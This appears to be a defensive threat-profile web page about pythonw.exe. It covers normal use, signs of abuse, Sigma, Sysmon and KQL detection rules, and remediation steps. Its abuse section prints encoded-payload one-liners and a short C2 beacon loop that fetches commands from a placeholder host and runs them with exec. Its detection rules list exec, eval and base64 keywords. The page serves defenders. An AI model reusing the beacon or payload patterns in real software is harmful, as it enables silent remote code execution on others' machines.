anavem.
P
High RiskWindows
pythonw.exeEXECUTABLE

pythonw.exe - Python Windowless Interpreter [2026]

pythonw.exe is the windowless Python interpreter that runs scripts without a console window. Frequently abused by malware for stealthy script execution.

9viewsLast verified: Jan 18, 2025

Risk Summary

## Risk Summary | Factor | Assessment | |--------|------------| | Detection Difficulty | Medium | | Abuse Potential | High | | Prevalence | Common | | Risk Score | 70/100 | pythonw.exe runs Python scripts without a visible console, making it attractive for stealthy malware execution.

Overview

What is pythonw.exe?

pythonw.exe is the windowless version of the Python interpreter that runs Python scripts without displaying a console window.

Key Characteristics

AttributeValue
File Namepythonw.exe
DeveloperPython Software Foundation
Digital SignaturePython Software Foundation
TypeScript Interpreter
ConsoleNo visible window

Technical Details

PropertyDescription
Process TypeScript Interpreter
Difference from python.exeNo console window
Use CaseGUI apps, background scripts
NetworkScript-dependent

pythonw.exe is identical to python.exe except it doesn't create a console window.

Normal Behavior

Normal Behavior

Legitimate Usage

pythonw.exe script.pyw             # Run windowless script
pythonw.exe -m module              # Run module
pythonw.exe gui_app.py             # Run GUI application

Expected Characteristics

AspectExpected Behavior
Parent ProcessVaries (explorer, scheduled task)
WindowNone visible
User ContextUser or SYSTEM
NetworkDepends on script

Legitimate Use Cases

Use CaseDescription
GUI applicationsTkinter, PyQt apps
Background servicesDaemon scripts
Scheduled tasksAutomated scripts
System toolsIT automation

Common Locations

C:\Python3*\pythonw.exeC:\Users\<user>\AppData\Local\Programs\Python\Python*\pythonw.exeC:\Program Files\Python*\pythonw.exe

Suspicious Indicators

Suspicious Indicators

Red Flags

IndicatorConcern LevelDescription
Unusual parent processHighMalware spawned
Encoded argumentsCriticalObfuscated malware
Network connectionsMediumC2 or exfil
Temp directory scriptsHighDropped malware
Base64 in command lineCriticalEncoded payloads

Malware Patterns

Suspicious pythonw.exe Usage:
- pythonw.exe -c "exec(base64.b64decode(...))"
- Scripts running from temp directories
- Parent is Office application
- Network connections to unknown IPs
- High CPU or memory usage

Attack Indicators

PatternConcern
Office parentMacro malware
Encoded commandObfuscated payload
Scheduled persistenceBackdoor
External connectionsC2 communication

Abuse Techniques

Abuse Techniques

Stealthy Malware Execution

Malware Scenario:
1. Initial compromise (phishing, exploit)
2. Drop Python-based malware
3. Execute with pythonw.exe (no window)
4. User unaware of execution
5. Malware operates silently

Encoded Payload Execution

:: Common malware patterns
pythonw.exe -c "import base64;exec(base64.b64decode('PAYLOAD'))"
pythonw.exe -c "exec(__import__('zlib').decompress(...))"

Living-off-the-Land

TechniqueImplementation
No windowSilent execution
Built-in modulesNetwork, file ops
EncodingObfuscate payload
PersistenceScheduled tasks

C2 Frameworks

# Simple C2 beacon pattern
import requests
while True:
    cmd = requests.get("http://c2/cmd").text
    exec(cmd)

Detection Guidance

Detection Guidance

Sysmon Configuration

<RuleGroup name="pythonw Monitoring" groupRelation="or">
  <ProcessCreate onmatch="include">
    <Image condition="end with">pythonw.exe</Image>
  </ProcessCreate>
  <NetworkConnect onmatch="include">
    <Image condition="end with">pythonw.exe</Image>
  </NetworkConnect>
</RuleGroup>

Sigma Rule

title: Suspicious pythonw.exe Execution
status: stable
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\pythonw.exe'
  suspicious:
    CommandLine|contains:
      - 'base64'
      - 'exec('
      - 'eval('
      - '-c "import'
      - 'zlib'
      - 'decode'
  condition: selection and suspicious
  falsepositives:
    - Legitimate development
  level: high

KQL Query

// Suspicious pythonw execution
DeviceProcessEvents
| where FileName =~ "pythonw.exe"
| where ProcessCommandLine has_any ("base64", "exec(", "eval(", "decode", "zlib")
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName

// pythonw with network activity
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "pythonw.exe"
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl

// pythonw from unusual parent
DeviceProcessEvents
| where FileName =~ "pythonw.exe"
| where InitiatingProcessFileName in~ ("WINWORD.EXE", "EXCEL.EXE", "OUTLOOK.EXE", "wscript.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine

Remediation Steps

Remediation Steps

Investigation

# Find running pythonw processes
Get-Process pythonw -ErrorAction SilentlyContinue | ForEach-Object {
    $wmi = Get-CimInstance Win32_Process -Filter "ProcessId = $($_.Id)"
    [PSCustomObject]@{
        PID = $_.Id
        CommandLine = $wmi.CommandLine
        ParentPID = $wmi.ParentProcessId
    }
}

# Check scheduled tasks
Get-ScheduledTask | Where-Object { $_.Actions.Execute -like "*pythonw*" }

Termination

# Kill suspicious pythonw processes
Get-Process pythonw | Where-Object {
    $_.CommandLine -match "base64|exec\(|eval\("
} | Stop-Process -Force

Prevention

ControlImplementation
Application ControlWhitelist Python
Script monitoringLog Python execution
Network rulesMonitor Python network
EDRBehavioral detection

Investigation Checklist

Investigation Checklist

Process Analysis

  • What is the full command line?
  • What is the parent process?
  • Is there encoding/obfuscation?
  • What script is being run?

Network Investigation

  • Any network connections?
  • What IPs/domains contacted?
  • Data transfer volume?
  • C2 indicators?

Script Analysis

  • Can the script be located?
  • What does it do?
  • Is it obfuscated?
  • Malicious functionality?

Persistence

  • Scheduled tasks?
  • Registry Run keys?
  • Startup folder?

Timeline

  • When did execution start?
  • How was it triggered?
  • Related events?

MITRE ATT&CK Techniques

T1059.006 - PythonT1027 - Obfuscated Files or Information